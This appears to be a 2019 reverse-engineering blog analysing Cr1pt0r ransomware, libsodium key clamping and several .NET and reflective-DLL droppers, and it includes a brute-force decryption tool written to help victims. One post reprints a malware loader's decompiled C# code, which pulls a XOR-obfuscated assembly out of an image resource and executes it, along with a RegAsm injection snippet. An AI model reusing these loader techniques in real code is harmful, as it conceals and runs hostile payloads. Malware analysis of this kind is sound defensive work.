venerdì 8 marzo 2019

Libsodium sealed boxes: multiple (32) working secret keys for one public key

Hi Everybody,
starting from the strange fact where, during Cr1pT0r RE, I found 3 different but valid secret keys, I wanted to dig a bit more.

And yes I was wrong. For a single public key there are 32 valid keys!



Figure out how the key pair are generated is the most obvious start point.
From Libsodium Documentation:
digging into the sources we face the crypto_box_keypair(*pk,*sk)


take a look into the crypto_scalarmult_curve25519_ref10_base. This function is going to create our public key.
The first step is to copy the secret key (previously created by randombytes_buf(sk, 32);) into t array.
Next, before to create the public key by calling other methods some math is applied:
t[0] &= 248;
t[31] &= 127;
t[31] |= 64;

the first byte of our secret key undergoes a bitwise AND operation with 248dec (0xF8).

Take a look more closely at how it works starting from my old keypairs:
>>> publicbob.hex()
'3d3f78633ea6a799c4dcf2522d9021c51031de6ba3ebcf061cc5caf8f843c52f'
>>> privbob.hex()
'dba2d474c0b72b620ecdc87f43eaab2e2465009174dc03b422c848301f19dd78'


At the time it was invoked, crypto_scalarmult_curve25519_ref10_base function had
t[0] = 0xdb;
Let's reproduce the bitwise and in binary:

11011010  0xDB

‭11111000‬   0xF8
_____________& result
11011000   0xD8


Now, do the same for the others 2 bytes which were working: 0xDD 0xDC

11011001  0xDD

‭11111000‬   0xF8
_____________& result
11011000   0xD8


And the last one:
11011000  0xDC

‭11111000‬   0xF8
_____________& result
11011000   0xD8


Bitwise AND is a lossy transformation, by doing such operation we face a mask that leaves us free to rewrite the last 3 bits as we prefer!
3 bits = 8 possibilites -> so, the public key is valid for 8 different secret keys!! 

But we're not done yet! Remember?
t[31] &= 127;
t[31] |= 64;


A similar application over the last byte is valid! 
Bring back the last byte in the example key: 0x78, in binary:

‭01111000‬  0x78

‭01111111‬  0x7f
_____________&result
‭01111000‬  0x78
‭00111000‬  0x38
‭01111000‬  0x78
‭00111000‬  0x38
_____________| result
01000000  0x40 


Same logic applied before: which bytes we're free to change in order of having a valid secret key?
The first bitwise AND operation leaves us free to change the first bit (MSB) only but, the OR operation extends our possibilities up to the second bit.
So accepted bytes in this case are:
01111000‬  0x78
10111000  0xb8
11111000  0xf8
00111000  0x38


2 bits, 4 possibilites: 00,01,10,11.

So we know that for a single public key up to 8 keys * 4 = 32 different keys could be valid and acceptable!
Starting from the source code I wrote in the last article, let's brute the first and last byte of the sk:





32 different valid secret keys! 👀👀

In the context of a bruteforce those valid keys are substantially adjacent, so in the set of reducing the time spent during bruteforce the whole key it does not help, because remains extremely long and not practicable, but it is a step forward within the general knowledge

UPDATE:
Frank Denis was kind giving motivations for this behavior.

I'm glad to receive his answer.

 


Cheers,
RE Solver



mercoledì 6 marzo 2019

DE-Cr1pt0r tool - The Cr1pt0r ransomware decompiled decryption routine

Hello Everybody,
after so many articles( 1 - 2 - 3 ) about my research on this Cr1ptor ransomware finally there is a tiny way to decrypt your files.

SPOILER ALERT:
This is a very early alpha release, is destined to programmers not directly to the victims.
Calm down, this will not be quick and/or easy at all but there is only a theorical chance. Probably you'll need few months, years, your son's life of computational work to brute the key. This is not a solution.

Let's start from the beginning:
as I wrote in the last article I got chance to have a pair of valid keys to run some tests on my Raspberry PI VM.
Before to talk about the source code, I need you to focus on the encrypted files's structure:
Basically this ransomware append after encryption 0x7A bytes. This is important because of this:
This is how the Decryption routine looks initially (where I made some gusses..):

Studying the code from here is completely INSANE..........well, I did it anyway (tens hours of hard work) helped by the libsodium documentation I figured out the exact pseudo code of the decompilation routine built in the ransomware and what do it exactly do.
After a few IDA corrections here is where I landed:



Most of functions now looks familiar, especially those concerning libsodium and files manipulation.
Starting from here, I've ported the code into a C application to reproduce the decryption.Once figured out which kind of encryption the ransomware adopted, I've started to write a C program and from the libsodium documentation there was something interesting:
Well, this looks similar to our ransomware implementation, except for the fact that he's doing some manipulation on the top of the pseudo code, in fact this code example is not sufficient.
A sealed box implementation seems to anticipate the code we seen:

Good. We now have so many pieces of the puzzle. Its time to put them togheter.
What do we need to decrypt the files?

Take a closer look at the "crypto_box_seal_open" function.
Do you remember the encrypted structure?
CIPHERTEXT_LEN, from the bottom of file is 0x50. We have it.
recipient_pk, from the bottom of the file and is 0x20. We have it.
recipient_sk, from the end of.....No. Unfortunaly we haven't the secret key.
The result decrypted array is then used to decrypt the rest of the file more or less as decribed on the libsodium documentation secret-key_cryptography -> "Stream encryption/file encryption" on github.
To procede with
crypto_secretstream_xchacha20poly1305_init_pull(&st, header, key) != 0)
we need the header and the key. The header is actually stored into the encrypted file as the same as the example shows. So we have it.
the key....the key is the "decrypted" crypto_box_seal_open resoult! We have it.

Since the fact I had a working keypair, I had everything I need to run some tests with the good old DEV-C++ IDE.
Once set up the code, I found a very strange behaviour of libsodium which brings me to a correct decryption with 3 different private keys!(!?!?!?!?!?) O.o


Is due to a libsodium bug?! IDK!
I hope some of you knows (and tells me) the reason of such behaviour, by the way victims does not have the private key and this strange behaviour of libsodium motivated me to implement a brute force routine into the code (to MAYBE find a working decryption sk with humanly acceptable timing).

And here is the result (skipping the brute force routine)!

(and yes, the original file was filled by a junky 0xAA 😊)Here is the main source (I do not share the encryption routine to avoid a Cr1pt0r x86 porting)

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define UINT64_MAX (18446744073709551615ULL)
#define CHUNK_SIZE 4096

#define crypto_stream_chacha20_ietf_KEYBYTES 32U

void rvereseArray(unsigned char *arr, int start, int end) 
{ 
    while (start < end) 
    { 
        unsigned char temp = arr[start];  
        arr[start] = arr[end]; 
        arr[end] = temp; 
        start++; 
        end--; 
    }  
}      
void printArray(unsigned char arr[], int size) 
{ 
  int i; 
  for (i=0; i < size; i++) 
    printf("%02x ", arr[i]); 
  
  printf("\n"); 
}  

static int
decrypt(const char *target_file, const char *source_file, const unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES])
{
    unsigned char  buf_in[CHUNK_SIZE + crypto_secretstream_xchacha20poly1305_ABYTES];
    unsigned char  buf_out[CHUNK_SIZE];
    unsigned char  header[crypto_secretstream_xchacha20poly1305_HEADERBYTES];
    crypto_secretstream_xchacha20poly1305_state st;

    FILE          *fp_t, *fp_s, *fp_s1;
    unsigned long long out_len;
    size_t         rlen;
    int            eof;
    int            ret = -1;
    unsigned char  tag = 0x0;


#define MESSAGE (const unsigned char *) "Message"

#define MESSAGE_LEN 15
#define CIPHERTEXT_LEN (crypto_box_SEALBYTES + MESSAGE_LEN)




unsigned char recipient_pk[crypto_box_PUBLICKEYBYTES];
//My pk
//unsigned char recipient_pk[crypto_box_PUBLICKEYBYTES];={0x3D , 0x3F , 0x78 , 0x63 , 0x3E , 0xA6 , 0xA7 , 0x99 , 0xC4 , 0xDC , 0xF2 , 0x52 , 0x2D , 0x90 , 0x21 , 0xC5 , 0x10 , 0x31 , 0xDE , 0x6B , 0xA3 , 0xEB , 
              //0xCF , 0x06 , 0x1C , 0xC5 , 0xCA , 0xF8 , 0xF8 , 0x43 , 0xC5 , 0x2F};//; /* Bob's public key */
//
//recipient_sk decrypt the files also with recipient_sk[0]=0xDB (the original byte) than 0xDD and also 0xDC
// unsigned char recipient_sk[crypto_box_SECRETKEYBYTES]={ 0xDB , 0xA2 , 0xD4 , 0x74 , 0xC0 , 0xB7 , 0x2B , 0x62 , 0x0E , 0xCD , 0xC8 , 0x7F , 0x43 , 0xEA , 0xAB , 0x2E , 0x24 , 
//0x65 , 0x00 , 0x91 , 0x74 , 0xDC , 0x03 , 0xB4 , 0x22 , 0xC8 , 0x48 , 0x30 , 0x1F , 0x19 , 0xDD , 0x78 }; //; /* Bob's secret key */
unsigned char recipient_sk[32]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
   
unsigned char ciphertext[80];
//var50h

long filelen;
fp_s1 = fopen("enc", "rb");
   if(fp_s1==0){ printf("Encrypted files not found"); return 1;}
    fseek(fp_s1, 0xFFFFFFD6, SEEK_END);          
    //filelen = ftell(fp_s1);
  fread(recipient_pk, 1, 0x20, fp_s1);
  fseek(fp_s1, 0xFFFFFF86, SEEK_END); 
  
  fread(ciphertext, 1, 0x50, fp_s1);

//because the new key is 32dec bytes long
unsigned char decrypted[32];



//brute start
//Bruteforce the 32byte key. Thanks to GeDaMo from IRC ##programming @ freenode
//
 uint64_t i[4] = { 0, 0,0,0 };
// uint64_t i[4] = {0xDBA2D474C0B72B62 ,    0x0ECDC87F43EAAB2E ,    0x2465009174DC03B4 ,    0x22C848301F19DD78 };
      int exit=0;
 printf("DE-Cr1pt0r Tool By RE-Solver @solver_re:\r\n Bruteforcing \r\n ");
  do {
   i[1] = 0;
  do {
   i[2] = 0;
 do {
  i[3] = 0;
      do {

memcpy(&recipient_sk[23],&i[3],sizeof(i[3]));
rvereseArray(&recipient_sk[23],0,8);

memcpy(&recipient_sk[15],&i[2],sizeof(i[2]));
rvereseArray(&recipient_sk[15],0,8);

memcpy(&recipient_sk[7],&i[1],sizeof(i[1]));
rvereseArray(&recipient_sk[7],0,8);

memcpy(&recipient_sk,&i[0],sizeof(i[0]));
rvereseArray(recipient_sk,0,7);

//printArray(recipient_sk, 32);
if(crypto_box_seal_open(decrypted, ciphertext, 0x50u, recipient_pk, recipient_sk) == 0)
{printf("Found: ");printArray(recipient_sk, 32);exit=1;break;}


           
           } while (i[3]++ < UINT64_MAX&&exit==0);
        } while (i[2]++ < UINT64_MAX&&exit==0);
   } while (i[1]++ < UINT64_MAX&&exit==0);
 } while (i[0]++ < UINT64_MAX&&exit==0);
 //END brute
//from the decompilated program this was the original routine, because of the bruteforce is added as a comment now
/*
if (crypto_box_seal_open(decrypted, ciphertext, 0x50u, recipient_pk, recipient_sk) != 0) {
    // message corrupted or not intended for this recipient 
     printf ("message corrupted or not intended for this recipient %s",decrypted);}
*/     

    fp_s = fopen(source_file, "rb");
    fp_t = fopen(target_file, "wb");
    if(fp_s==0 || fp_t==0){printf("Encrypted files not found");
 goto ret;}
    fread(header, 1, 0x18, fp_s);
    if (crypto_secretstream_xchacha20poly1305_init_pull(&st, header, decrypted) != 0) {
        goto ret; /* incomplete header */
    }
    do {
        rlen = fread(buf_in, 1, 0x1011, fp_s);
        eof = feof(fp_s);
        //tag = 0x0;
        int value=crypto_secretstream_xchacha20poly1305_pull(&st, buf_out, &out_len, &tag, buf_in, rlen, NULL,0);
        if (value != 0) {
            goto ret; /* corrupted chunk */
        }
        if (tag == 3 && ! eof) { //crypto_secretstream_xchacha20poly1305_TAG_FINAL -> 3
            goto ret; /* premature end (end of file reached before the end of the stream) */
        }
        fwrite(buf_out, 1, (size_t) out_len, fp_t);
    } while (! eof);

    ret = 0;
ret:
    fclose(fp_t);
    fclose(fp_s);
    fclose(fp_s1);
    return ret;
}

int
main(void)
{
    unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES];

    if (sodium_init() != 0) {
        return 1;
    }
    crypto_secretstream_xchacha20poly1305_keygen(key);
  
    if (decrypt("enc.outtmp", "enc.tmp", 0x0) != 0) {
     printf("Something goes wrong.");
        return 1;
    }
    printf("Decrypted! RE Solver");
    return 0;
}

IDE: DEV-C++
libsodium library: libsodium-1.0.17-mingw.tar.gz
Remember to link the library into the Project/Project Options

Compiled tool: https://www.sendspace.com/file/275c70
sha256: 4066fa0d402a8458f7784e89ba979929ee1d7efd761b3cabe9705784aa8af865

usage: Copy an encrypted file into the same folder of the tool and rename it as enc (with no extensions). Copy the same encrypted file and rename it as enc.tmp and strip the last 0x7A from the end of the file. If you're lucky within some weeks you'll have the key printed on the console and the encrypted.outtmp decrypted file created on the same folder dir.

Next step: create a file named privkey and write the hex key (with no spaces) into a text file and put it in the Cr1pt0r folder. From the same folder, rename the file pubkey as pubkey_backup and turn on your D-Link nas again.

Note: My GF is waiting me since days, she has been so patient. A special Thanks to her. 😊
I'm sorry but I do not support the tool usage or others kind of requests.Since the fact that code is released under GPL, everyone can compile, improve, modify the code. (And I hope it happens).

Follow me on Twitter @solver_re
Hire me! Job offers are welcome.
Cheers,
RE Solver


martedì 5 marzo 2019

Cr1pt0r Ransomware Analysis Libsodium/NaCl Encryption, Decryption, paramenters and (sad) conclusions

Hi Everybody,
After my two posts here and here  this is the third about Cr1pt0r.

Cr1pt0r main function decompiled by using RecDec plugin (graph view representation is huge to be seen in a picture):

Usage: ./cr1pt0r /mountPointToEncryptOrDecrypt
The ELF looks for a keyfile, in this order:
1 looks for a "privkey" file
2 looks for the "pubkey" file.
No matter if privkey is present, if the public key file is found, the ransomware starts to encrypt, if privatekey only is present, the ransomware decrypts the files.
In all the cases to walk trought the directories the included nftw function is invoked.

Defined parameters (still digging on them):
-g --> read the keyfile as bin2hex(bytes)
-k --> bin2hex + seed; probably generates a keypair?! - Don't know yet.
-e --> force encryption
-d --> force decryption
-t --> test? crypto has_sha512 final maybe does not overwrite the file? - Don't know yet.
/mountpoint --> the directory to be encrypted by the .sh start script is defined to be /mnt

Another thing I have to look at is why encrypted files , "_Cr1pt0r_" signature a part, are longer than the original ones. Also @demonslay335 has noticied the same. Could it be the answare?
 From PyNaCl documentation:


A note:
arm assembly SVC -> "SVC (formerly SWI) that generates a supervisor call. Supervisor calls are normally used to request privileged operations or access to system resources from an operating system." From ARM documentation.
Some of syscalls has been identified manually, binding the ARM instructions to the EAX value. The x86 reference website https://syscalls.kernelgrok.com/ gave me the connection I needed to identify the exit functions and few others.

To avoid the deleted files recovery possibility the ransomware during encryption creates the sameNameFile+".tmp" where stores the encrypted stream, then replace the source file with the encrypted data overwriting the source file itself.
The encryption algo used appear be crypto_onetimeauth_poly1305.  
I'm embarassed. This was completly incorrect. I wrote that during late night, I apologize.😰
Thanks to Frank Denis.

Those calls to crypto_onetimeauth_poly1305 takes us to NaCl One-time authentication.
More info on one-time authentication (Poly1305): (PDF) Daniel J. Bernstein, "Cryptography in NaCl", 45pp.
(0x000160BC)

Python and PyNaCl library helped me to create a keypair based on the standard implementation of  the library itself.
import nacl.utils
from nacl.public import PrivateKey, Box
skbob = PrivateKey.generate()
pkbob = skbob.public_key

>>> publicbob.hex()
'3d3f78633ea6a799c4dcf2522d9021c51031de6ba3ebcf061cc5caf8f843c52f'
>>> privbob.hex()
'dba2d474c0b72b620ecdc87f43eaab2e2465009174dc03b422c848301f19dd78'


Using this key pairs, I tryied to encrypt and decrypt a folder of my VM and the result has been positive.



To bruteforce such kind of key nowdays is pratically impossible.
Mathematics don't know good and bad, it is a rigid discipline with rules and even if in this situation where we would like to break the rules for the good, we can't.
I hope someone may have in the future some brilliant ideas on how reduce the keyspace for example some specific bug on random generation on this specific device and kernel (/dev/random is connected to this crypto algo) or maybe NaCl's creator Daniel J. Bernstein can share with us some ideas.


If some of you have ideas, feel free to contact me on Twitter @solver_re
Cheers,
RE Solver


lunedì 4 marzo 2019

Cr1pt0r ransomware: FireEye FLARE idb2pat.py script to build your IDA Pro FLIRT signatures

Hi Everybody,
from my previous post in order to have an human approch to analyze the stripped ELF Cr1pt0r I wrote just a few words about IDA Pro feature to build FLIRT signature.
What is FLIRT?
"The unique F.L.I.R.T. technology allows IDA to recognize standard function calls, and enhance the disassembly output." From Hex-Rays website

The FLIRT Technology is the thing which makes IDA so special during decompiling. Ida knows, by the .sig files thousand standard calls identified by a pattern, renaming the subroutines which matches automatically during the autoanalysis (or by invoking the specific signature later).
Unfortunatly, in this specific condition, where we had a stripped ELF, static compiled, ARM executable, IDA does not have the specific FLIRT signatures and I had to build my owns to make my life better. 💖

The process of creating FLIRT signatures usually requires a number of prerequisite conditions to exist:
  • A pattern file must be created via either pelf or similar, followed by use of sigmake
  • A compiled, relocatable library containing the functions and associated names, of which signatures are to be generated against, must exist
  • The library must be a recognised format and with a supported instruction set


We're not able in this situation to satisfy everything so, Fire Eye’s IDB2PAT tool, created by the FLARE the division of Fire Eye is the tool which makes possible to extract the pattern starting from an IDB:
This script allows you to easily generate function patterns from an existing IDB database that can then be turned into FLIRT signatures to help identify similar functions in new files.
https://www.fireeye.com/blog/threat-research/2015/01/flare_ida_pro_script.html
Source

 
Instead of cross compiling examples to have as much functions in the signature (which has been the better solution in order to maybe avoid many collisions), I thought it was faster to extract the patterns directly from  Debian pre-compiled libraries! 😎
 packages.debian.org  gave me the armel (arm little endian) packages I needed. (libsodium, libc and others)
Once opened the libsodium.so.23.2.so (Shared Object), into IDA , starting the FireEye script, the pat file has been wrote easly on the same directory.


 

  ./sigmake element.pat  element.sig (sigmake is part of FLAIR tools provided by Hex-Rays to produce the .sig file).
And here we go, we got signatures, simply push the files into %IDA_INSTALL_PATH%/sig and let's see if it works!

From the 0 signature we had from the initial load, now we have few hundreds of them recognized!

I am fully informed that starting from the libraries, in addition precompiled, without accurately verifying the collisions, the chances of inaccurate recognition are high. But I don't care! This is not an huge ELF and I'll keep it in mind during the analysis 😂

What is important in this article is the desire to share this technique with you so that it can help you in situations like this or, for example, by decompiling subsequent or previous versions of the same malware, in all those situations where you already have a structured idb, even if I already know that you will quote me bindiff, creating the signatures, will maybe an help to speed-up the analysis.

My heart is branded Hex-Rays. 💘
Cheers,
RE Solver

sabato 23 febbraio 2019

D-Link DNS-320 NAS Cr1ptT0r Ransomware ARM Dynamic Analysis - QEMU and Raspberry PI VM

Hi Everybody,
a few days ago I saw a tweet from @Amigo_A_ asking for help about a new ransomware which was affecting a D-Link 320 NAS.
The first thought was directed to the historical disabling of dlink to make sufficiently secure firmware and their willingness not to support updates. Those facts made me to think about an attack conducted over the net targetting all the devices exposed on internet itself.



Apparently was the right hypothesis
All the users with D-Link 320XX are nowdays are at very high risk. 
TURN OFF THE DEVICE AND DISCONNECT IT FROM WAN.On BleepingComputer's forum I asked to the affected users to check their own firmwares and trying to grab the malware. Someone did and shared the ELF on VirusTotal.
Thanks to Michael Gillespie @demonslay335 I was able to have a copy of that sample.
Hash: 9a1de00dbc07271a27cb4806937802007ae5a59433ca858d52678930253f42c1

(very few) years ago I had experience on some router exploiting and reversing (Italian ISP company named Telecom Italia and their ADSL routers), they were based on MIPS with a very good OS (Jungo OpenRG) always trivial to exploit. But this is another story, I'lve spent a lot of time on those devices learning some useful stuffs which today apparently become a good knowlege.

Since the fact that this ransomware is stripped (with removed debugging informations!) and statically compiled, the static analysis is very hard to do since the fact that any calls appear to be just a sub_XXXXX because of the stripped ELF. 

Because of this, we have few options to make our life less complicated:
1) do a dynamic analysis

2) create IDA pro FLIRT signatures

Starting from the first point we faced a new problem: where to run the ARM malware?
2 opportunities: the first on a QEMU VM, the second on a D-Link device (of course lol).
I do not buy D-Link stuffs, so I had only one opportunity: QEMU.
Since I'm lazy (and the executable is statically linked), I decided to try with my Kali x64 VM and qemu-static-arm with -g parameter which enable the gdb debugger.
I really dont know why, but something go wrong bringing ida pro to crash. LOL 😔

It was a fail, so I've started to look at a new easy path and I thought about raspberry pi.
On Sourceforge there is a nice prebuild, preconfigured QEMU Raspberry emulator: https://sourceforge.net/projects/rpiqemuwindows/
On the run.bat file I've added a parameter to be able in order to upload with FileZilla over sftp protocol the malware and the remote debug server, and then killing the sshd, I've used the same port to connect with IDA. Smart lazyness😀

qemu-system-arm.exe -M versatilepb -cpu arm1176 -hda 2012-07-15-wheezy-raspbian.img -redir tcp:2200::22  -kernel kernel-qemu -m 192 -append "root=/dev/sda2"

Starting again the IDA Pro remote debugging, the following stuffs comes up!!!!! YEAH IT WORKS!!!! 😍😍


So far we know few things about such ransomware which are:
in addition, the strings shows up that he also use crypto routines from Libsodium library https://libsodium.gitbook.io/doc/






Like I said before, the - hardest - next step is to create a IDA FLIRT signature, by cross compiling some example from Libsodium repo (hoping that it will use the same functions as the malware), extract the signatures by using FireEye idb2pat tool https://www.fireeye.com/blog/threat-research/2015/01/flare_ida_pro_script.html to have an understandable static analysis to MAYBE retrive the private key and decrypt the files, or at least have a reduced keyspace to make possible a brute force attack.



Follow me on Twitter and I'll keep you updated.
Cheers
RE Solver

 

mercoledì 20 febbraio 2019

Double packed .net Malware: PNG obfuscation, resources Deobfuscation, On The Fly compiling, de4dot tricks to make a static analysis a bit easier

Hi Everybody!
I was searching another specific malware when I found this (old) .net malware.
My sick brain spoke to me: "ok, take a look on it...it's just an old shitty .net malware... give him just 5 minutes to have fun...".
I also gave myself a condition: "Only a static analysis." No debugging.
Bad thoughts tho...   😆😆
MD5: f4825dde80a45a6732972fac63536427

As often happen, the executable is obfuscated with an unknown packer, with a de4dot I tried to make it more readable. As expected a paritially successful.


Csharpcodeprovider?! Awesome, the exe is going to compile some stuff on the fly? Super nice!
Let's see what:
The first thought was "damn!" meanwhile the next one has been "ok, that's cool! I can use de4dot and show what a beautiful swiss knife this tool is!" and that's why i wrote this article right now :D
From the last picture, we know that the string is being decrypted by the function Class4.smethod_0(string obfuscated)
we can use de4dot in order to redirect the string decryption with a specific method(s).
On the top of each method, dnSpy give us very useful informations.
In fact for the Class4.smethod_0 the token is 0x06000012 and this is all what we need to tell de4dot which method must be used to decrypt the strings :

de4dot.exe exe-cleaned.exe  --strtyp delegate --strtok 0x06000012

actually we could also specify the name of a method, or a class instead of the token/tokens is you have few string decrypting methods btw de4dot has created a new "cleaned" exe and did the magic! :)


A "beautify" at the code and the result is:

using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Threading;
using System.Runtime.InteropServices;
using System.Drawing;

namespace JuSgVBuovzYy
{
    public class s{public void S(){
long t = 13251669318194000;  
} } 

    class Program
    {
 
 static string KGayyirMPMBEn =  "#pass# ";           // Replace(string.Format("#pass#", new object[0]), "BbyCUtnNaEHs");
 private static byte[] MXwUZZu(byte[] bytes)                                     // XOR deobfuscation
 {
 byte[] byteArray = Encoding.Unicode.GetBytes(KGayyirMPMBEn);
 for (int i = 0; i < bytes.Length; i++)
 {
 bytes[i] ^= byteArray[i % 16];
 }
 return bytes;
 }
         
         private static byte[] ConvertFromBmp(System.Drawing.Bitmap b)
 {
 int l = b.Width;
 int n = l * l * 4;
 byte[] buff = new byte[n];
 int k = 0;
 
 for (int x = 0; x < l; x++)
 {
 for (int y = 0; y < l; y++)
 {
 Buffer.BlockCopy(BitConverter.GetBytes(b.GetPixel(x, y).ToArgb()), 0, buff, k, 4);
 k += 4;
 }
 }
 int len = BitConverter.ToInt32(buff, 0);
 byte[] f = new byte[len];
 Buffer.BlockCopy(buff, 4, f, 0, f.Length);
 return f;
 }
         
         
         static byte[] wgFiR;
         public static void sJcPIRKPgLsbJnPB()
         {
             Assembly.Load(wgFiR).EntryPoint.Invoke(null, new object[] { new string[] { } });
         }
         
         [DllImport( "kernel32.dll ")]
         static extern IntPtr FindResource(IntPtr hModule, IntPtr lpName, IntPtr lpType);
         
         [DllImport( "kernel32.dll ", SetLastError=true)]
         static extern uint SizeofResource(IntPtr hModule, IntPtr hResInfo);
         
         [DllImport( "kernel32.dll ", SetLastError=true)]
         static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo);
         
         [DllImport( "kernel32.dll ")]
         static extern IntPtr LockResource(IntPtr hResData);
         
 
         public static Bitmap Byte2Image(byte[] img)
 {
 using (var stream = new MemoryStream(img))
 {
 return new Bitmap(stream);
 }
 }
         
 static void Main()
 {
 try
 {        
                 IntPtr fResource = FindResource(new IntPtr(0), new IntPtr(106), new IntPtr(23));   //IntPtr(23) --> HTML http://www.pinvoke.net/default.aspx/kernel32.EnumResourceNames
                 uint sResource = SizeofResource(new IntPtr(0), fResource);
                 IntPtr lResource = LoadResource(new IntPtr(0), fResource);
                 IntPtr dResource = LockResource(lResource);
                 
                 wgFiR = new byte[sResource];
                 System.Runtime.InteropServices.Marshal.Copy(dResource, wgFiR, 0, System.Convert.ToInt32(sResource));
                 wgFiR = MXwUZZu(ConvertFromBmp(Byte2Image(wgFiR)));                                                     //wgFiR extract the image from bytes, convert png to bmp, deobfuscate it
                 
                 System.Threading.Thread thr = new System.Threading.Thread(sJcPIRKPgLsbJnPB);                            // load wgFiR assembly and run the thread
                 thr.Start();
 }
 catch
 {
 
 }
 }
    }
     
     public class k{public void B(){
 long l = 13251669318194000;  
 } } 
 } 

This malware is starting to be interesting :)
In this code the steps are just a few:
1) grab the PNG resource (HTML:106) from itself by using winapi calls
2) convert it as Bitmap ( because of side use of the Bitmap constructor, "stream contains a PNG image file with a single dimension greater than 65,535 pixels." More details on msdn documentation.)
3) do a deobfuscation by a xor and the key due to the "String.replace" (look at the first picture)
4) a new Thread is started.
I am a curious and stubborn person so, since I had it, I've adapted the code to do the deobfuscation:

using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Threading;
using System.Runtime.InteropServices;
using System.Drawing;

namespace bitmapstream
{
 class Program
 {
  public static void Main(string[] args)
  {
   
   
   
   File.WriteAllBytes("./out_deobf.bin",MXwUZZu(ConvertFromBmp(Byte2Image(File.ReadAllBytes("./respng.png")))));  //complete deobfuscation
   
   
   
   Console.Write("Press any key to continue . . . ");
   Console.ReadKey(true);
  }
  
  static string KGayyirMPMBEn =  "BbyCUtnNaEHs";           // Replace(string.Format("#pass#", new object[0]), "BbyCUtnNaEHs");
 private static byte[] MXwUZZu(byte[] bytes)                                     // XOR deobfuscation
 {
 byte[] byteArray = Encoding.Unicode.GetBytes(KGayyirMPMBEn);
 for (int i = 0; i < bytes.Length; i++)
 {
 bytes[i] ^= byteArray[i % 16];
 }
 return bytes;
 }
  public static Bitmap Byte2Image(byte[] img)
 {
 using (var stream = new MemoryStream(img))
 {
 return new Bitmap(stream);
 }
 }
  
  
  private static byte[] ConvertFromBmp(System.Drawing.Bitmap b)
 {
 int l = b.Width;
 int n = l * l * 4;
 byte[] buff = new byte[n];
 int k = 0;
 
 for (int x = 0; x < l; x++)
 {
 for (int y = 0; y < l; y++)
 {
 Buffer.BlockCopy(BitConverter.GetBytes(b.GetPixel(x, y).ToArgb()), 0, buff, k, 4);
 k += 4;
 }
 }
 int len = BitConverter.ToInt32(buff, 0);
 byte[] f = new byte[len];
 Buffer.BlockCopy(buff, 4, f, 0, f.Length);
 return f;
 }
 }
} 

By having the deobfuscated .net exe, the first packing step has passed.
Let's take a look at the new executable: 
From the images to "songs"?! Funny! 😒
Each song* function returns a specific resource (look below) which are obfuscated. To do the obfuscation, decryptBytes is called. Looks the code familiar?


Yes, same algo previously used! 👀
Ok, adapting the code used before by setting a new decryption string key which in this case is "QTlxEzZLPcZJ" and modifying the main method with a for loop like that:

    for(int i=0;i<3;i++)
            {
                File.WriteAllBytes("./out_"+i+".bin",MXwUZZu(File.ReadAllBytes("./song_"+i)));
        
            }

we got all the new 3 resources deobfuscated:
song--> resource named "Rj[...]"
song2--> resource named "vt.[...]"
song3--> resource named "mg[..]"

Starting from the biggest one, which is song3 aka "FortniteHack" related new executable  which is invoked (look at 2 images before) do NOTHING, except creating a (supposedly) "pretty" UI 👼


On the contrary, Song is not executed immediately, but passed as Byte array invoking the song2 method named "run" :   song2dll.run(text3,"", byte[] song ,true)

            object target = Activator.CreateInstance(type);
            string text3 = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe";
            if (!File.Exists(text3))
            {
                text3 = Program.revert(text3);
            }
            type.InvokeMember("run", BindingFlags.InvokeMethod, null, target, new object[]
            {
                text3,
                "",
                Program.decryptBytes(bytes),
                true
            });


The song2 is actually a tiny obfuscated dll, and it hides a couple of interesting things that I would like to share.
The run function contains some other kind of strings obfuscation which makes the dll interesting!
We learned before how to make a custom decryption by using de4dot. It's time to do it again!

if (!flag && path.Contains(7pw8VD2Y.mGjZYF4F(216 + 1)))
mGjZYF4F is the string decryptor, so once we got the token 0x06000051 we can use de4dot as before:

de4dot.exe "song2.dll" --strtyp delegate --strtok 0x06000051

A very cool trick to resolve obfuscated strings, isn't it?! 😋This dll do nothing more than check for some AV before to start the malware core, which is the string3 PE x86 executable
If "everything is fine" the real run's core job is:

Calling Kernel32.CreateProcessA api function to run the previous song3 malware.

By using IDA Pro to dig into the song3 PE file (Visual C/C++ compiler), the core malware dynamically loads libraries (tipically useless malware behaviour to make RE a bit harder), also checks the antivirus presence, set his own persistance, contact some urls and share informations about av, hardware id, ip address (by checkip.amazonaws.com) and contact an tor url through a proxy (not reachable url).
This looks to be a Trojan Johnnie.Generic no longer active.




I hope the use of de4dot's decrypting string can help. 👋

Cheers,
RE Solver

martedì 12 febbraio 2019

When a malware hide code into images and uses an open source project to run himself

Hello Everybody,


Nowdays, from WhatsApp to the malwares, hiding code in images is very trendy. 😂



 
Something similar has happened to me today with this sample:
https://www.hybrid-analysis.com/sample/f2eb9c854497a9befe9da6592fd405a97b0745a250bd0858a1ab89ebbe37b6b2?environmentId=120

AV Detection: 31%
That was intriguing, so I decided to take a look at it:



 
The resource is a bmp image and it hides a dll named "stub.dll". The malware is using is a "Reflective DLL Injection" tecnique, implementing the exact Nick Landers's github project "sRDI - Shellcode Reflective DLL Injection" https://github.com/monoxgas/sRDI/

"hitlerdidnothingwrong" (If you say so....) is the "decryption key" of the first bitmap resource (wich actually is just a xor obfuscation!).
Once the dll is loaded, the "Stub.dll"'s main function is called:


Once again, a second resouce is being to be deobfuscated.
This new dll is now converted to shellcode causing the debugging being trivial.
Before being manipulate to become a shellcode, the easiest thing to do was to intercept the deobfuscated resource and analyze the x86 DLL with IDA pro or x32dbg.

By having a quick statical analysis another PE is contained into the dll at 0x2618



Well, once brutally cutted, the data contained in the dll appeared to be a valid PE😀


 





https://www.hybrid-analysis.com/sample/f39cf1b0817e4d7227fe30b11dccb0b7c0a91f3d1d6086d9bc307a6ad23a3fe6/5c62e6697ca3e112067b5ecb

AV Detection: 84%

No more dubts.😉
 
Cheers,
RE Solver